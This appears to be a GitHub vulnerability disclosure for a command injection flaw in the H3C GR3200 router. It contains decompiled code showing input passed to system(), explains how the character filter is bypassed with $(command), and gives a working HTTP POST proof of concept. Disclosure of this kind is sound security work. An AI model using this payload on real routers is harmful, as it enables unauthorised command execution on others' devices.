Darry-lang1 Update readme.md History

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57 lines (36 sloc) | 2.21 KB ...

H3C GR3200 MiniGR1B0V100R014 Has an command injection vulnerability

Overview

- Manufacturer's website information： https://www.h3c.com/
- Firmware download address ： https://www.h3c.com/cn/d_202202/1542099_30005_0.htm

Product Information

Overview of affected versions of H3C GR3200 router：

Vulnerability details

H3C GR3200 (<=MiniGR1B0V100R014) was found to contain a command insertion vulnerability in DelL2tpLNSList.This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

```
14  __int64 v13; // [sp+50h] [+50h] BYREF
15  char v14[256]; // [sp+58h] [+58h] BYREF
16  char v15[264]; // [sp+158h] [+158h] BYREF
17  int v16; // [sp+260h] [+260h]
18
19  v16 = a1;
20  v10 = 0LL;
21  v11 = 0LL;
22  memset(v12, 0, sizeof(v12));
23  v13 = 0LL;
24  memset(v14, 0, sizeof(v14));
25  memset(v15, 0, 0x100u);
26  v7 = (char *)websgetvar(v16, "param", (int)&unk_100E9D00);
27  if ( v7 )
28  {
29    strcpy(v14, "/bin/l2tpconfig -R 127.0.0.1 session delete ");
30    v8 = getelement(&v13, 8, v7, ';', 1);
31    v9 = atoi((const char *)&v13);
32    for ( i = 1; v9 >= (__int64)i; ++i )
33    {
34      if ( !getelement(v12, 32, v7, ';', i + 1)
35        && !getelement(&v10, 8, (char *)v12, ' ', 1)
36        && !getelement(&v11, 8, (char *)v12, ' ', 2) )
37      {
38        if ( sub_100695A4((int)&v10, 8) || sub_100695A4((int)&v11, 8) )
39          return -2LL;
40        snprintf(v15, 0x100u, "%s tunnel_id=%s session_id=%s", v14, (const char *)&v10, (const char *)&v11);
41        v3 = getpid();
42        LODWORD(v4) = "ASP_L2TP_LNSListDel";
43        LODWORD(v5) = v15;
44        MW_SYSLOG_OP(
45          184LL,
46          6LL,
47          3LL,
48          2139095040LL,
49          (__int64)"[%d][%s] %s: mp run cmd %s\n",
50          (int)&unk_100E9D00,
51          v3,
52          (int)"ASP_L2TP_LNSListDel",
53          v4,
54          v5);
55        system(v15);
56        memset(v15, 0, 0x100u);
57      }
58    }
59    return v8;
60  }
61  else
62  {
63    v1 = getpid();
64    MW_SYSLOG_OP(
65      184LL,
66      3LL,
```

Format the `param` parameter we entered into `V15` through the `snprintf` function, and execute our command through the system function. Because `V10` and `V11` are limited to 8 bytes, we can fill `V10` with 8 bytes so that when `%s` in the `snprintf` function is formatted, `V10` and `V11` will be connected actively.

```
int __fastcall sub_46EE30(int a1, unsigned int a2)
{
  size_t j; // [sp+18h] [+18h]
  unsigned int i; // [sp+1Ch] [+1Ch]
  int v5[2]; // [sp+20h] [+20h] BYREF

  v5[0] = '|&`\0';
  v5[1] = 0;
  i = 0;
  j = 0;
  if ( !a1 || !a2 )
    return -1;
  for ( i = 0; i < a2 && *(_BYTE *)(a1 + i); ++i )
  {
    for ( j = 0; j < strlen((const char *)v5); ++j )
    {
      if ( *((char *)v5 + j) == *(char *)(a1 + i) )
        return 1;
    }
  }
  return 0;
}
```

Although the `sub_100695A4` function filters some dangerous characters, we can bypass them with `$(command)`.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following `POC` attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.124.1:80/maintain_basic.asp
Cookie: JSESSIONID=04f803a0
Upgrade-Insecure-Requests: 1
Content-Length: 67

CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1;$(ps>/ww w/1)        #;
```

The picture above shows the debug log after POC is sent.



The above illustration shows the effect of command execution.